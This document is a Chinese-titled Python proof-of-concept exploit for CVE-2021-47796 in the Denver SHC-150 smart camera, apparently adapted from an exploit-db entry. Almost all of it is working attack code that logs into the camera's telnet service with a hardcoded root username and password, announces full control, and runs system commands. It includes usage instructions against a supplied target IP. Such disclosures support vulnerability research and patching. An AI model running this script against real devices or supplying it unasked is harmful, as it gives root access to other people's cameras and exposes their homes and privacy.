CVE-2021-47796 Denver SHC-150智能摄像头硬编码Telnet凭据远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2021-47796 PoC - Denver SHC-150 Smart Wifi Camera Hardcoded Telnet Credential Reference: https://www.exploit-db.com/exploits/50160 """ import socket import sys import telnetlib def exploit_camera(target_ip, target_port=23): """ Exploit hardcoded telnet credential on Denver SHC-150 camera """ try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Connect to telnet service tn = telnetlib.Telnet(target_ip, target_port, timeout=10) # Wait for login prompt tn.read_until(b"login: ", timeout=5) # Use hardcoded credentials (exploit-db reference) # Default credential: root / vizxv print("[*] Sending hardcoded credentials...") tn.write(b"root\n") tn.read_until(b"Password: ", timeout=5) tn.write(b"vizxv\n") # Check for successful login response = tn.read_until(b"#", timeout=5) if b"#" in response or b"$" in response: print("[+] SUCCESS! Got shell access with root privileges!") print("[*] You now have full control of the camera.") # Execute some verification commands tn.write(b"uname -a\n") uname_result = tn.read_until(b"#", timeout=3) print(f"[*] System info: {uname_result.decode('utf-8', errors='ignore')}") tn.write(b"id\n") id_result = tn.read_until(b"#", timeout=3) print(f"[*] User ID: {id_result.decode('utf-8', errors='ignore')}") return True else: print("[-] FAILED! Authentication failed.") return False except socket.timeout: print("[-] Connection timeout - target may not be vulnerable or is offline.") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") print(f"Example: python3 {sys.argv[0]} 192.168.1.100 23") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23 print("=" * 60) print("CVE-2021-47796 - Denver SHC-150 Hardcoded Telnet Credential") print("=" * 60) exploit_camera(target, port)